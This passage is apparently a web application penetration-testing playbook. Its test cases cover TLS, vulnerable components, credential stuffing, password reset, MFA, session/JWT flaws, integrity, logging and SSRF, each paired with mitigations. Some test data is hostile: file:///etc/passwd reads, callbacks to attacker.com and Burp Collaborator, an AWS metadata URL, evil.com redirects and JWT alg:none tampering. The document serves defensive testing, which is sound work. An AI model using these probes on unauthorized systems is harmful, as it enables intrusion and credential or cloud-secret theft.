| **Severity** | - **Medium** if critical headers like CSP, HSTS, or X-Frame-Options are missing.  - **Low** for missing informational headers (e.g., Referrer-Policy, Permissions-Policy).  - **Informational** if headers are present but misconfigured. |
| **Evidence** | Example:  http<br>HTTP/1.1 200 OK<br>Content-Type: text/html; charset=UTF-8<br>  Server: Apache/2.4.18 (Ubuntu)<br><br>🔴  Missing: X-Frame-Options<br>🔴  Missing: Content-Security-Policy<br>🟡  X-Content-Type-Options: NOT set<br>🔴  Server reveals version info<br>→ Application lacks key security headers and leaks server version. |
| **Mitigation Recommendation** | Add and properly configure the following headers in all HTTP responses:  ✅ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload  ✅ X-Content-Type-Options: nosniff  ✅ X-Frame-Options: DENY or SAMEORIGIN  ✅ Content-Security-Policy: restrict script, frame, and object sources (e.g., default-src 'self')  ✅ Referrer-Policy: no-referrer or strict-origin-when-cross-origin  ✅ Permissions-Policy: restrict browser features (e.g., camera=(), microphone=())  ✅ Remove headers like X-Powered-By, Server, or set them to generic valuesApply headers at the web server (Nginx/Apache), app framework (Express.js, Django, Laravel), or reverse proxy (e.g., Cloudflare, AWS ALB). |

#### SSL TLS server side vulnerabilities

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the application server implements strong SSL/TLS security controls by enforcing secure protocols, valid certificates, strong cipher suites, and hardened configurations that prevent MITM attacks, protocol downgrades, and data leakage. |
| **Pre-conditions** | - Target web or API server with HTTPS enabled  - Access to tools like sslscan, testssl.sh, nmap --script ssl-\*, or online SSL scanners (e.g., SSL Labs, CryptoScan)  - Optional: Burp Suite to test client-side SSL enforcement |
| **Test Data** | - Target domain or IP over port 443 (or 8443/9443)  - SSL/TLS handshake data  - Test tools and payloads to enumerate supported ciphers and protocols |
| **Test Steps** | ### 1. **Certificate Validation**  • Check if the certificate is valid, signed by a trusted CA, and not expired.  • Verify if the hostname matches the Common Name (CN) or Subject Alternative Name (SAN).  ### 2. **Supported Protocols**  • Use testssl.sh or sslscan: sslscan target.com testssl.sh target.com  • Ensure **only TLS 1.2 or TLS 1.3** is supported.  • Confirm **SSLv2, SSLv3, TLS 1.0/1.1** are disabled.  ### 3. **Cipher Suites**• Identify weak or vulnerable ciphers (e.g., RC4, 3DES, NULL, EXPORT ciphers).  • Ensure forward secrecy ciphers (ECDHE/DHE) are supported.  ### 4. **Certificate Details**  • Inspect for self-signed certs, long expiry, SHA-1 signatures.  ### 5. **Renegotiation & Compression**  • Test for insecure renegotiation (--script ssl-enum-ciphers in Nmap).  • Check if TLS compression is enabled (leads to CRIME attack).  ### 6. **HSTS Header Enforcement**  • Inspect if Strict-Transport-Security is set.  • curl -I https://target.com or Burp.  ### 7. **Client Enforcement**  • Attempt to downgrade using older SSL versions in curl: curl -v --sslv3 <https://target.com>  • Test Burp Suite for SSL enforcement bypass in the client.  ### 8. **Automated External Scan (Optional)**  • Use [SSL Labs](https://www.ssllabs.com/ssltest/) to get complete configuration and grade. |
| **Expected Result** | - Server must only support TLS 1.2 or TLS 1.3.  - No insecure or deprecated ciphers should be accepted.  - Certificate must be valid, signed, and match hostname.  - Strict-Transport-Security (HSTS) header should be present.  - TLS compression and insecure renegotiation must be disabled. |
| **Actual Result** | (To be filled after assessment — e.g., Server supports TLS 1.0 and RC4 cipher suite; certificate uses SHA-1 and has no SAN.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if SSLv2/v3, TLS 1.0, or exploitable ciphers are accepted.  - **High** if certificate is invalid or signed with SHA-1.  - **Medium** if HSTS is missing or compression is enabled.  - **Low** if certificate is short-lived or has minor misconfigurations. |
| **Evidence** | Example:  **Output of** testssl.sh target.com**:**<br>Supported protocols: TLS 1.0, TLS 1.1, TLS 1.2<br>Insecure ciphers: RC4, 3DES<br>Compression: Enabled (VULNERABLE to CRIME)  <br>Certificate: Self-signed, SHA1, expires in 900 days  <br>Strict-Transport-Security: Missing<br>→ Several critical and high-risk SSL issues found. |
| **Mitigation Recommendation** | - Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1.  - Support only **TLS 1.2 and TLS 1.3**.  - Use strong ciphers that support **Forward Secrecy** (e.g., ECDHE-RSA-AES256-GCM-SHA384).  - Replace certificates using **SHA-2 (SHA256)** or better.  - Ensure certificates are valid, not self  -signed (unless in internal systems), and match the hostname.  - Set Strict-Transport-Security with appropriate max-age and preload.  - Disable TLS compression and insecure renegotiation.  - Regularly scan public endpoints for SSL configuration issues (e.g., via SSL Labs or scheduled testssl.sh). |

### Vulnerable and Outdated Components

#### Vulnerable Javascript Dependencies Found

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the web application does not use outdated or vulnerable JavaScript libraries, frameworks, or client-side dependencies that could expose the application to known exploits or weaknesses. |
| **Pre-conditions** | - Access to the running web application (authenticated and unauthenticated areas)  - Burp Suite, browser developer tools, or Nuclei scanner  - Access to public vulnerability databases (e.g., CVE, Snyk, osv.dev) |
| **Test Data** | - List of all loaded JavaScript libraries and their version numbers  - Public vulnerability reports (CVE IDs, Snyk reports, osv.dev advisories) |
| **Test Steps** | 1. Load the application in a browser and inspect loaded JavaScript files via developer tools (Network tab) or Burp Suite. 2. Identify the names and versions of all third-party libraries (e.g., jQuery, Angular, Lodash). 3. Cross-reference the identified versions against known vulnerability databases:   • <https://osv.dev>  • <https://snyk.io/vuln>  • CVE database (<https://cve.mitre.org/>)   1. If version numbers are not disclosed, use tools like Retire.js (browser plugin or Nuclei templates) to detect known vulnerable patterns in JavaScript files. 2. Document any outdated or vulnerable libraries found, including version, known CVEs, and exploit-ability. 3. If the Js version itself is not vulnerable but contains vulnerable function inside Java Script 4. Create a Backlog test for the particular exploit   [Backlogs must be tracked by communicating to internal team via mail]  If only the version is outdated and the no exploit is possible then report the Java-Script versions and outdated but exploit is not possible |
| **Expected Result** | - No outdated or known vulnerable JavaScript libraries or frameworks should be loaded by the application.  - All client-side dependencies should be up to date with security patches applied. |
| **Actual Result** | (To be filled after assessment — e.g., jQuery 1.8.3 detected, known CVEs including CVE-2019-11358 exploitable via XSS vulnerability in legacy browsers.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | Medium to High depending on vulnerability severity and exploit-ability.  High if known remote exploit or XSS/RCE vulnerability in detected version. |
| **Evidence** | Example findings:  - Application loaded /assets/js/jquery-1.8.3.min.js via developer tools Network tab.  - Snyk advisory confirms CVE-2019-11358 affects this version.  - Nuclei vulnerable-js-libs template flagged this dependency.  - Retire.js browser extension confirmed same. |
| **Mitigation Recommendation** | - Immediately update all outdated JavaScript libraries and client  -side dependencies to the latest secure versions.  - Implement automated dependency management and vulnerability scanning using tools like npm audit, Snyk, or osv-scanner.  - Avoid relying on unmaintained or deprecated libraries.  - Apply security patches promptly as part of release management processes.  - Use Subresource Integrity (SRI) when loading external scripts to prevent tampering.  - Regularly review frontend dependencies for newly disclosed vulnerabilities. |

#### Vulnerable and Outdated Components

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application or its environment uses outdated or vulnerable software components (frameworks, libraries, server software, packages) with known security flaws that could be exploited by attackers. |
| **Pre-conditions** | - Application running in a test/staging environment- Access to HTTP responses, client-side JS, and metadata (e.g., headers, comments)  - Tools like OWASP Dependency-Check, Retire.js, npm audit, pip-audit, yarn audit, nmap -sV, whatweb, Burp Suite, or GitHub Dependency Graph |
| **Test Data** | - Known component version strings (e.g., jQuery 1.6.1, Apache 2.2.22, Log4j 2.13.0)  - CVE databases: NVD, Snyk, GitHub Security Advisories- Package manager audit outputs or SBOM (Software Bill of Materials) |
| **Test Steps** | ### 1. **Client-Side Component Analysis (JS/CSS):**  • Use Retire.js, browser console, or Burp to identify JavaScript libraries loaded in the app (e.g., jQuery, Angular, React).  • Look for versioned file paths: /static/js/jquery-1.6.1.min.js.  • Check for known vulnerable versions in <https://retirejs.github.io/>.  ### 2. **Server-Side Frameworks and Packages:**  • Check HTTP headers:  • X-Powered-By: Express 4.16.1  • Server: Apache/2.2.22  • Use nmap -sV or whatweb to fingerprint server versions.  • For language-specific projects, run:  • npm audit  • pip-audit  • composer audit  • yarn audit  • Review public package.json, composer.lock, requirements.txt, pom.xml (if exposed or available).  ### 3. **Dependency Scanning in CI/CD or Source:**  • If source is available, run OWASP Dependency-Check or Grype to generate SBOM and match against CVEs.  • Check GitHub repository’s "Security" tab or alerts for known vulnerable dependencies.  ### 4. **Backend Component Enumeration:**  • Use nmap -sV, whatweb, or Burp to detect outdated versions of Apache, Nginx, Tomcat, PHP, MySQL, etc. |
| **Expected Result** | - All application components, client-side libraries, and server software should use **latest stable versions**, or at least versions **free from known vulnerabilities**.  - No deprecated or unsupported components should be in use.  - CVE databases should not list critical vulnerabilities for any active dependency. |
| **Actual Result** | (To be filled after assessment — e.g., Application uses jQuery 1.6.1 vulnerable to CVE-2015-9251; backend server uses Apache 2.2.22 with known RCE flaw.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if RCE, XSS, or privilege escalation is possible via a known CVE.  - **High** if sensitive components have publicly known exploits.  - **Medium** if using deprecated or end-of-life libraries.  - **Low** if only minor or informational CVEs are present. |
| **Evidence** | Example:  **Client-side:**html<br><script src="/assets/js/jquery-1.6.1.min.js"></script><br>→ jQuery 1.6.1 is vulnerable to multiple CVEs (e.g., CVE-2015-9251 – XSS).  **Server-side:**http<br>Server: Apache/2.2.22 (Unix)<br>→ Apache 2.2.22 is outdated; affected by CVE-2017-3169 (mod\_ssl DoS). |
| **Mitigation Recommendation** | - Maintain an updated **inventory of all components** (client-side, server-side, 3rd party).  - Use **automated tools** (e.g., OWASP Dependency-Check, Snyk, Renovate, GitHub Dependabot) to monitor and patch vulnerable libraries.  - Upgrade to **supported, secure versions** of all frameworks, packages, and servers.  - Remove or replace deprecated or abandoned libraries (e.g., jQuery 1.x).  - Validate all new dependencies before adding them to the codebase.  - Set up CI/CD controls to block builds with known high/critical CVEs.  - Regularly scan Docker images or base environments for vulnerable packages. |

### Identification and Authentication Failures

#### Credential stuffing

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the web application or API is vulnerable to automated credential stuffing attacks by testing its ability to detect and block repeated login attempts using known leaked username/password pairs from public breaches or dictionaries. |
| **Pre-conditions** | - Application in test/staging environment- Access to login functionality (web or API)  - Consent from application owner to simulate brute-force patterns (rate-limited testing)  - Username/password list (e.g., dummy/test credentials, public breached datasets)  - Tools: Burp Suite Intruder, Hydra, or custom scripts |
| **Test Data** | - List of test usernames and passwords:  • Leaked credentials or [user@domain.com](mailto:user@domain.com):  • admin@example.com / 123456  • user@example.com / password1  • Random password guesses  - Valid test account for baseline login  - Tools for simulating parallel/frequent logins (Burp Intruder, OWASP ZAP, Hydra) |
| **Test Steps** | 1. Identify login endpoints (web login form or /api/login).2. Prepare a credential list with known or guessed passwords (e.g., top 100 from HaveIBeenPwned, RockYou list).3. Use Burp Intruder or a script to send multiple login attempts with different credentials.4. Monitor for signs of:   • Account lockouts  • IP blocks or CAPTCHAs  • Rate limiting (HTTP 429)  • Anomaly detection triggers   1. Compare responses:   • Success (200 / 302) vs. failure (401 / 403)6. Attempt login across multiple accounts with the same password (e.g., credential reuse)  7. Check logs (if possible) for detection and alerting |
| **Expected Result** | - Application should implement **rate limiting** or **progressive delay** per IP or account.  - Should detect and **block credential stuffing patterns**  - CAPTCHAs, account lockouts, or login anomaly detection should be triggered.  - Failed login attempts should return generic error messages. |
| **Actual Result** | (To be filled after assessment — e.g., No rate limiting detected; 200 login responses continue for 50+ attempts with same password and different users.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if valid credentials from public leaks are accepted without any control.  - **High** if no rate limiting or CAPTCHA is implemented.  - **Medium** if partial controls exist but bypassable.  - **Low** if only generic login error messages are missing. |
| **Evidence** | Example:  **Test:**Used Burp Intruder with 50 username/password combos:http<br>POST /login HTTP/1.1<br>Content-Type: [application/x-www-form-urlencoded<br><br>username=user1@example.com&password=123456<br>](mailto:application/x-www-form-urlencoded<br><br>username=user1@example.com&password=123456<br>)  **Result:**  successful logins  • No IP blocking  • No rate limiting  • No CAPTCHA→ App is vulnerable to credential stuffing |
| **Mitigation Recommendation** | - Implement **rate limiting** and **progressive delays** on login endpoints.  - Enforce **multi-factor authentication (MFA)**, especially for admin and high-privilege users.  - Use **CAPTCHA** after a number of failed attempts.  - Detect and block known credential stuffing patterns (e.g., same IP with many usernames, or same password across users).  - Integrate with breached password detection APIs (e.g., HaveIBeenPwned Pwned Passwords).  - Monitor logs for brute-force attempts and alert on anomalies.  - Use HTTP 429 Too Many Requests and **lock accounts temporarily** after threshold failures. |

#### Verify for weak credential recovery mechanism

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the application's credential recovery (e.g., "Forgot Password") mechanism uses secure tokens, enforces expiration and single use, protects against user enumeration, and prevents abuse or account takeover. |
| **Pre-conditions** | - Application running in test/staging environment- Valid test user account  - Burp Suite, browser dev tools, or intercepting proxy- Access to password reset/recovery functionality (typically /forgot-password, /reset-password) |
| **Test Data** | - Valid and invalid email/usernames  - Password reset token (valid, expired, and reused)  - Malformed or tampered tokens  - Redirect parameters in reset URLs (if present) |
| **Test Steps** | 1. **User Enumeration via Password Reset**:   - Submit both valid and fake email/username. - Observe responses and timing.  - 🔸 Expected: Generic message like "If this account exists, we’ve sent a link".   1. **Predictable or Weak Token**:   - Intercept token from reset link (e.g., /reset?token=abc123).  - Analyze entropy, format, and predictability.  - Try small variations to test brute-force feasibility.   1. **Token Reuse**:   - Use reset token once successfully.  - Try reusing the same token again.  - 🔸 Expected: Should be invalid after first use.   1. **Expired Token**:   - Use an old token (if time can be manipulated).  - Expected: Server should reject expired tokens.   1. **ID/Email Tampering in Reset Link**:   - If reset link includes user ID/email, try modifying it.  - Expected: User context must not be client-controllable.   1. **Open Redirect in Reset Flow**:   - Check if the reset success page allows redirect (e.g., redirect=https://evil.com).  - Expected: Only allow whitelisted internal paths.   1. **MFA Bypass**:   - After password reset, check if user is logged in without redoing MFA.  - Expected: MFA should still be enforced. |
| **Expected Result** | - Reset tokens are cryptographically strong, random, single-use, and expire quickly.  - No user enumeration via reset responses.  - Tokens cannot be reused or forged.  - Reset flows do not include client-controllable identifiers.  - MFA should still be enforced post-reset.  - No open redirects in reset success flows. |
| **Actual Result** | (To be filled after testing — e.g., token was reusable; password reset link exposed user email; open redirect allowed attacker domain) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if account takeover is possible through token reuse or predictable tokens.  - **High** if user enumeration or open redirect is confirmed.  - **Medium** if missing expiration or lack of MFA enforcement post-reset.  - **Low** if only minor misconfigurations exist without direct exploitability. |
| **Evidence** | Example:  **Request:**http<br>GET /reset-password?token=abc123 HTTP/1.1<br>Host: vulnerable.com<br>  **Result:**Token accepted multiple times — password reset worked twice.User was redirected to https://evil.com using: ?redirect=https://evil.com.Error message confirmed valid vs. invalid emails in reset request.→ Confirmed 3 high-risk flaws. |
| **Mitigation Recommendation** | - Use **cryptographically secure, random, single-use tokens** with short TTL (e.g., 15–30 min).  - Invalidate token immediately after use.  - Return **generic responses** for all password recovery submissions.  - Do not include email, user ID, or role info in reset URLs.- Prevent **open redirects** using allow-lists or strict referrer checks.  - Enforce **MFA after password reset**, even if user just changed the password.  - Log all reset token generation and usage events for auditing.  - Rate-limit and CAPTCHA reset requests to prevent abuse. |

#### Verify for missing or ineffective multi-factor authentication

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application enforces effective Multi-Factor Authentication (MFA) for all high-privilege, sensitive, or account-critical actions and whether MFA implementation can be bypassed or tampered with. |
| **Pre-conditions** | - Application in a test/staging environment  - Valid user credentials (normal and privileged users)  - Access to login flow and sensitive operations (e.g., password change, money transfer, email update)  - Burp Suite or HTTP proxy for request inspection |
| **Test Data** | - User credentials (with and without MFA enabled)- OTPs (valid and expired)  - Device/browser fingerprinting data (if applicable)- Time-delayed test payloads |
| **Test Steps** | 1. **Check for Missing MFA**:   - Attempt to log in with valid credentials.  - Observe if any MFA step is required (TOTP, SMS, push notification, etc.).  - 🔸 Expected: MFA must be enforced for all sensitive accounts (admin, finance, etc.).   1. **Check Optional or Skippable MFA**:   - Test whether MFA is required only optionally or can be skipped (“remember this device”, “skip for now”).  - Expected: No option to skip MFA for privileged accounts.   1. **Bypass MFA via Direct POST / Cookie Replay**:   - Intercept MFA request and test:  • Remove OTP field  • Use previously captured OTP  - Expected: MFA must require valid, fresh, and one-time codes.   1. **Token Reuse**:   - Attempt to reuse an old OTP or push challenge.  - Expected: OTPs must be single-use and expire after ~30 seconds.   1. **Sensitive Actions Without Re-Prompting MFA**:   - Try changing password, email, or performing financial actions after login.  - Expected: App should re-prompt for MFA in critical actions.   1. **No MFA Enforcement on API Calls**:   - Call backend API directly after login, skipping OTP step.  - Expected: API must enforce MFA challenge completion. |
| **Expected Result** | - MFA must be enforced for all logins and sensitive actions.  - OTPs and tokens should be time-based, unique, and non-reusable.  - APIs and web flows must block access to authenticated sessions without completed MFA.  - No bypass should be possible using tampered requests, cookies, or client-side logic. |
| **Actual Result** | (To be filled after test — e.g., Login allowed without MFA for admin users; OTP reuse succeeded; no MFA on password change.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if admin or sensitive accounts are accessible without MFA.  - **High** if MFA can be bypassed or reused.  - **Medium** if MFA is optional or missing for sensitive actions.  - **Low** if usability options reduce protection (e.g., too-long session lifetime). |
| **Evidence** | Example:  **Test:**Logged in as admin@example.com with valid password. No MFA challenge shown.  **API Test:**http<br>POST /api/user/delete HTTP/1.1<br>Authorization: Bearer valid\_token\_without\_otp<br>→ Server allowed action without verifying MFA.**OTP Reuse Test:**Used the same TOTP twice – both accepted. |
| **Mitigation Recommendation** | - Enforce **MFA by default** for all users, especially privileged roles.  - Use **TOTP, push notifications**, or hardware-based factors (not SMS if avoidable).  - OTPs must be **single-use, time-limited**, and verified server-side.  - Prompt for MFA before sensitive changes (email, password, role assignments).  - Invalidate tokens that are generated before completing MFA.  - Apply MFA checks in all backend APIs, not just UI.  - Log and alert on unusual MFA bypass attempts.  - Do not allow "remember device" for admin accounts or restrict it with strong binding (e.g., fingerprint, device ID). |

#### Session , SSO and Cookie related vulnerabilities

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that session management, cookie handling, and SSO mechanisms are implemented securely. Identify weaknesses like session fixation, weak cookie flags, session reuse, improper logout, insecure token handling, and SSO misconfigurations that could lead to session hijacking or unauthorized access. |
| **Pre-conditions** | - Application running in test or staging environment- Burp Suite or similar proxy  - Valid test user accounts (normal and admin)  - SSO integration (e.g., OAuth2, SAML, OpenID) if applicable |
| **Test Data** | - Session cookies  - JWT or SSO tokens  - Expired tokens  - Multiple browser sessions  - Modified session/token payloads |
| **Test Steps** | 1. **Cookie Security Flags**   • Log in and inspect cookies (Set-Cookie).  • Check for Secure, HttpOnly, SameSite flags.🔸 Expected: All cookies should include Secure, HttpOnly, and SameSite=Lax or Strict.   1. **Session Fixation**   • Capture pre-login session ID, log in, and check if session ID changes.🔸 Expected: Session ID must be regenerated after login.   1. **Session Timeout**   • Idle the session or use expired token.🔸  Expected: Session should expire after inactivity.   1. **Token Reuse Across Devices**   • Reuse session token on another browser/device.🔸 Expected: Session should be device-bound or invalid.   1. **Logout Validation**   • Log out and reuse session cookie.🔸 Expected: Access should be denied — session must be invalidated server-side.   1. **JWT Tampering (if used)**   • Modify payload or algorithm (e.g., set alg: none, escalate role).  Expected: Token tampering must be detected and rejected.   1. **SSO Token Replay**   • Replay valid SAML/ID token on same or another app.🔸  Expected: Token must be audience-restricted and expire shortly after issue.   1. **Open Redirect in SSO**   • Test redirect\_uri, RelayState, etc.🔸  Expected: Only pre-approved internal URLs allowed.   1. **Token in URL / Referrer Leak**   • Send request with sensitive token in URL.  Expected: Tokens should never be passed in URL and must not leak in Referer. |
| **Expected Result** | - Cookies are securely configured.  - Session IDs rotate post-authentication.  - Expired sessions are denied access.  - Tokens are validated and single-use.  - No session/token replay across devices.  - Logout invalidates session/token completely.  - JWT/SAML tokens are properly signed, validated, and scoped.  - SSO redirect flows cannot be manipulated.  - Sensitive data never passed in URLs or headers insecurely. |
| **Actual Result** | (To be filled after assessment — e.g., Session cookie missing HttpOnly; token reuse successful across devices; SSO token replay accepted on different app.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if session hijacking or token replay is successful.  - **High** if cookies lack security flags or JWT can be tampered.  - **Medium** if logout fails or tokens don't expire.  - **Low** for minor flag misconfigurations. |
| **Evidence** | Example:  **Request:**http<br>GET /dashboard HTTP/1.1<br>Cookie: sessionid=abc123<br>  **Observation:** After logout, the same session ID still granted access. No HttpOnly or Secure flag on cookie. Token reused successfully across browser sessions.  **JWT Test:** Modified token with "role":"admin" accepted by server. |
| **Mitigation Recommendation** | - Use Secure, HttpOnly, and SameSite on all cookies.  - Rotate session tokens post-login.  - Invalidate session/token on logout.  - Enforce session timeout and idle timeout.  - Sign and verify JWTs server-side.  Never trust client-modified tokens.  - Bind sessions to device/IP where possible.  - Never include tokens in URLs.  - Validate all SSO tokens for audience, issuer, expiration.  - Prevent open redirect abuse in SSO flows. |

### Software and Data Integrity

#### Software and Data Integrity

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the application properly ensures the integrity of software components, libraries, configurations, and updates. Identify risks from unsigned or unverified code (client or server), unprotected CI/CD pipelines, and the use of third-party packages that could be tampered with or outdated. |
| **Pre-conditions** | - Application running in test/staging environment- Access to browser dev tools or intercepting proxy- Access to deployment pipeline behavior (if applicable)- Use of third-party libraries or external scripts (e.g., CDNs, NPM, PyPI)- CI/CD or update functionality exposed to review |
| **Test Data** | - Known vulnerable versions of third-party packages- Modified or outdated client-side JS (e.g., tampered jQuery from CDN)- Malformed config files or binaries- Test SRI hashes (for checking missing integrity validation) |
| **Test Steps** | Check for Unsigned or Unverified Software Updates:• Review update mechanism in web or desktop application.• Observe if updates are fetched over insecure channels or without signature validation.Expected: Updates must be signed and validated on the client side. Review Inclusion of Third-Party Scripts:• Use browser dev tools to identify all external scripts (e.g., from CDNs).• Check if scripts are loaded with Subresource Integrity (SRI).Expected: External JS must include integrity and crossorigin attributes. Check CI/CD Pipelines for Tampering Risks:• Identify if there are open access points (e.g., exposed Jenkins/Git repos).• Try uploading malicious scripts if build step accepts unauthenticated input.Expected: Build and deployment systems should authenticate all sources and validate inputs. Review Dependency Trust Management:• Analyze package.json, requirements.txt, etc., for outdated or untrusted packages.• Check if pinned versions are used or if packages auto-update.Expected: Use pinned versions and validate package authenticity (e.g., with checksums or sigs). Attempt Modification of Client-side Libraries:• Intercept JS requests via proxy or manipulate CDN resource.Expected: App should reject modified resources if SRI is enabled. Verify Deployment Secrets Protection:• Check for exposed .env, .git, .bak, or CI config files.Expected: Secrets must never be publicly accessible. |
| **Expected Result** | - All third-party scripts use Subresource Integrity (SRI) checks- Software updates are signed and verified- Dependency versions are pinned and verified- CI/CD pipelines enforce authentication and code validation- No unsigned or manipulated packages or binaries are accepted- Sensitive config and environment files are not accessible publicly |
| **Actual Result** | (To be filled after assessment — e.g., jQuery loaded via HTTP from external CDN without integrity check; update fetched via insecure API; CI build process accepts unauthenticated input) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if update/download mechanisms can be tampered remotely- **High** if unsigned third-party code is loaded without integrity checks- **Medium** if CI/CD exposes dev secrets or accepts unverified inputs- **Low** if only best practices (e.g., SRI, pinning) are missing without direct exploitability |
| **Evidence** | Example:**CDN Script Without Integrity:**html<br><script src="http://cdn.example.com/jquery.min.js"></script><br>**Risk:** No HTTPS, no SRI → attacker can inject malicious JS via MITM.**CI/CD Exposure:**Exposed Jenkins with no auth at http://dev.example.com:8080/. Allows code injection into build pipeline.**Package Issue:**Using event-stream 3.3.6 — known trojaned NPM module. |
| **Mitigation Recommendation** | - Sign and verify all software and updates before deployment- Use HTTPS and SRI for all third-party scripts- Lock and pin package versions (avoid wildcards like \* or latest)- Regularly audit dependencies with tools (e.g., OWASP Dependency-Check, Snyk)- Harden CI/CD pipelines against untrusted code submissions- Block access to sensitive files (.env, .git, build configs)- Use artifact integrity validation tools (e.g., checksums, GPG) |

### Security Logging and Monitoring

#### Security Logging and Monitoring

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the application implements proper security logging and monitoring mechanisms to detect, record, and respond to suspicious or malicious activity, including authentication attempts, sensitive actions, privilege escalations, and unexpected failures. |
| **Pre-conditions** | - Application in test/staging environment- Access to application logs or SIEM (Security Information and Event Management) logs if possible- Valid user accounts- Ability to generate test events (e.g., failed login, data access, privilege change) |
| **Test Data** | - User credentials (valid and invalid)- Sensitive endpoints (e.g., /admin, /config, /logs, etc.)- Malicious payloads (SQLi, XSS strings, path traversal)- API keys, tokens |
| **Test Steps** | Check Login and Authentication Logging:• Perform multiple failed login attempts.• Perform successful logins with different users.Expected: Events should be logged with IP, timestamp, and username.Check Privilege Change Logging:• Modify user roles or access rights.Expected: All privilege escalation actions should be logged.Generate Input Validation Errors:• Submit SQL/XSS payloads in input fields.Expected: WAF or app should log attempted injections.Access Restricted Resources:• Try accessing admin APIs or user data as an unauthorized user.Expected: Access denial should trigger a log entry with relevant details.Check Log Storage and Protection:• Attempt to access logs directly via URL or endpoints (e.g., /logs, /debug).Expected: Logs must not be exposed to the public or low-privileged users.Check for Alerting Mechanisms:• Trigger multiple failed logins or access denied events.Expected: Application should generate alerts or log events for correlation in SIEM.Review Retention and Tamper Protection:• Evaluate how long logs are stored and whether they are write-protected.Expected: Logs must be immutable and retained as per security policy. |
| **Expected Result** | - All security-relevant events (auth attempts, access control violations, privilege changes) are logged- Logs contain timestamps, source IP, user ID, and action- Logs are protected from unauthorized access- Logs are retained and monitored in real time or near real time- Alerts are generated for critical events (e.g., brute force attempts, abnormal behavior) |
| **Actual Result** | (To be filled after assessment — e.g., Failed logins not logged; access to /admin denied but not logged; logs accessible via public endpoint.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if malicious actions are not logged at all- **High** if logs are incomplete or publicly accessible- **Medium** if alerts are missing for high-risk events- **Low** if logs are stored but lack some contextual data |
| **Evidence** | **Example:**Performed 5 failed logins with user@example.com — no entry in /var/log/app.log or SIEM.Accessed /admin/settings with low-privileged user — received 403 but no log entry.Logs available at https://example.com/logs/debug.log with sensitive data and no authentication. |
| **Mitigation Recommendation** | - Log all security-relevant events (authentication, access, config changes, errors)- Use centralized logging and integrate with a SIEM- Protect logs from unauthorized access- Implement alerting for critical events (e.g., brute-force, role changes, endpoint scanning)- Set log retention policies (e.g., 90 days+)- Use write-once or tamper-proof storage for critical audit logs |

### Server Side Request Forgery

#### External Service Interaction

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application performs outbound network connections (HTTP, DNS, or other protocols) to attacker-controlled external services when user-supplied input is processed, indicating SSRF potential or external service interaction exposure. |
| **Pre-conditions** | - Access to application parameters accepting URLs, host names, or file paths (e.g., image fetchers, webhook URLs, file imports, XML parsers)  - Burp Collaborator, DNS logging service (e.g., canarytokens.org, dnslog.cn) or controlled external HTTP/DNS endpoint |
| **Test Data** | - External interaction payloads:  • <http://<collaborator>.burpcollaborator.net>  • <https://attacker.com/ping>  • [file:///etc/passwd](file://etc\\passwd)  • http://localhost:80- Application parameters: image\_url=, webhook=, callback=, download\_url= |
| **Test Steps** | 1. Identify all application features or parameters where external URLs, IP addresses, or hostnames can be submitted. 2. Submit payloads pointing to your Burp Collaborator or controlled external server in those parameters. 3. Monitor Burp Collaborator/DNS log for any HTTP, DNS, or other service interactions. 4. If interaction is triggered, assess whether it’s a simple connection, data leak, or a full HTTP request.   5. Test other payloads like file:// or http://localhost to check for SSRF scope. |
| **Expected Result** | - The application should not make outbound requests to untrusted, attacker  -controlled external domains based on user input.  - No unexpected DNS, HTTP, or internal service interaction should occur as a result of crafted payloads. |
| **Actual Result** | (To be filled after assessment  — e.g., Application made an HTTP request to http://x123.burpcollaborator.net after submitting as image\_url= parameter.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if it enables interaction with attacker  -controlled domains (potential SSRF or internal network exposure).  Medium if external interaction occurs but impact is limited (e.g., harmless DNS lookup). |
| **Evidence** | Example findings:- Submitted http://x123.burpcollaborator.net to image\_url= parameter.  - Burp Collaborator logged an HTTP request from target server’s IP.  - Application attempted DNS resolution for controlled subdomain.  - No input validation or whitelisting detected. |
| **Mitigation Recommendation** | - Implement strict allowlists for external URLs or IP addresses where outbound connections are absolutely necessary.  - Validate and sanitize all user-supplied URLs and hostnames.  - Block local and internal network address ranges (e.g., 127.0.0.1, 169.254.x.x, 192.168.x.x).- Disable unnecessary outbound requests in server environments.  - Monitor and log all outbound connections from application servers.  - Apply SSRF-specific protections if applicable (e.g., webhooks, file fetchers, XML parsers). |

#### Server Side Request Forgery

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application allows an attacker to manipulate server-side functionality (e.g., URL fetch, file load, webhook callbacks, metadata parsing) to initiate unauthorized requests to internal systems, cloud services, or third-party infrastructure, possibly bypassing firewalls or controls. |
| **Pre-conditions** | - Access to endpoints that accept URLs, IPs, or file paths (e.g., image preview, webhook, PDF generator, import from URL)- Burp Suite or HTTP proxy- Knowledge of internal infrastructure patterns (e.g., localhost, 169.254.169.254 for AWS metadata, internal/api, etc.)- Network access through server if SSRF succeeds |
| **Test Data** | - URLs like:  • [http://localhost](http://localhost )  • [http://127.0.0.1:22/](http://127.0.0.1:22/ )  • http://169.254.169.254/latest/meta-data/ (AWS)  • [http://internal-service.local/](http://internal-service.local/ )  • External redirector (e.g., attacker-controlled site)  • SSRF payloads with DNS rebinding or open redirect chaining |
